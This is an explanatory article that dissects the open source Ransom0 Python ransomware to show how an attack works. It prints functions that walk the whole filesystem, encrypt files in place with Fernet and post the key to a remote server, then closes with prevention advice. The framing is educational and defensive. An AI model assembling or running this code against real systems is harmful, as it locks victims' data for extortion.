Dissect open source ransomware code to understand an attack
To protect your organization from ransomware, it's helpful to know what goes on behind the scenes. Unpack this ransomware code example to understand and defend against attacks.
Ransomware is malicious software used by cybercriminals to hold a computer and its data hostage. The software takes over the computer and encrypts its files, with the attacker promising to decrypt them once a ransom is paid.
In a ransomware attack, an attacker often sends an email pretending to be a bank or service and asks the recipient to download a file. The victim falls for the fake email, downloads the file and unwittingly infects their computer with the ransomware.
Next, their computer screen is covered by a message telling them that their personal files have been encrypted, with no way to decrypt them other than paying the attacker for a decryption service. The victim is instructed to send payment to the attacker to decrypt their files, or they will be deleted in a certain number of days.
Ransomware attacks have gained notoriety in recent years due to their potentially devastating consequences, with costs for ransomware victims amounting to millions of dollars. Work through this example project to see how easy ransomware is to make and understand the inner workings of a ransomware attack.
Ransomware code
For this ransomware example, we'll be using Ransom0, an educational open source project that demonstrates how ransomware works on a basic level. The project is written in Python, a language whose straightforward syntax is easier to read and understand at first glance compared with other languages commonly used for ransomware, such as C.
Ransom0 finds files on the victim's computer, encrypts those files, sends a unique key to a remote server and waits for the user to provide payment to decrypt the files. Because this is an educational project, the program requires no actual payment; users can decrypt their files after the ransomware encrypts them.
The following code snippets clarify the functions that real attackers use to perform these malicious actions. For example, the following FindFiles function finds all the files on a victim's computer.
def FindFiles(self): f = open("logs/path.txt", "w") for root, dirs, files in os.walk("/"): # for root, dirs, files in os.walk("YOUR/TESTING/DIRECTORY"): if any(s in root for s in self.EXCLUDE_DIRECTORY): pass else: for file in files: if file.endswith(self.EXTENSIONS): TARGET = os.path.join(root, file) f.write(TARGET+'\n') print(root) f.close()
This function opens the text file path.txt, which the program uses to record all files found, and then loops over the three tuple -- the root directory, other directories and files -- returned by calling the os.walk() method.
If the root directory, other directories or files are in the list of excluded directories, the path ignores them. Otherwise, each file is added to path.txt. This loop continues until it has traversed the entire file system.
Building this list of files to encrypt in path.txt leads to the next step: encrypting the files.
def Encrypt(self, filename): f = Fernet(key) with open(filename, "rb") as file: file_data = file.read() encrypted_data = f.encrypt(file_data) with open(filename, "wb") as file: file.write(encrypted_data) print(filename)
The Encrypt function takes a file name from path.txt and reads the file. It then encrypts the data in that file using Fernet, an implementation of symmetric authenticated encryption, also known as secret or private key. The function then writes the encrypted data back to the file. Without the secret key used to encrypt the files, it is difficult to decrypt the files in any reasonable amount of time.
To hold the key hostage, the SendData function sends the key and any other data to a remote server to keep until the victim sends the payment.
def SendData(decrypted): now = datetime.now() date = now.strftime("%d/%m/%Y %H:%M:%S") data = f'[{digits}, {key}, "{date}", "{decrypted}"]' requests.post(url, data)
With the decrypt key in the attacker's possession, the attacker waits until the ransom has been paid to send back the key to decrypt the victim's files.
This example uses a Python package called tkinter to create a GUI that informs the user that their files have been encrypted, how much to pay and where to send the payment. It also includes a button that the user can click to decrypt their files after the attacker receives the payment.
A real ransomware attack vs. Ransom0
There are some stark differences between the Ransom0 project and an actual ransomware executable. First, the source code for real ransomware is usually not available; the only way to figure out the original code is to decompile an executable.
In addition, real ransomware's source code is often obfuscated by tools specifically designed to make code hard to read -- so even after decompiling, you may not be left with anything useful. Malicious actors will try everything they can to keep their code secret and evade detection as long as possible. They use many other methods to avoid identification, such as using hard-to-follow URLs for any external connections their ransomware might have.
How to avoid ransomware
Ransomware has affected victims around the world for many years. Unfortunately, scripts or executables like the example above are hard for malware protection tools to identify. Slight modifications can easily circumvent any fingerprinting technology that malware protection tools might use.
The best way to prevent malware is awareness. Don't download files from unknown sources. If something seems off with a website or email, don't chance it. Follow your instincts and use other trusted sources to validate your concerns.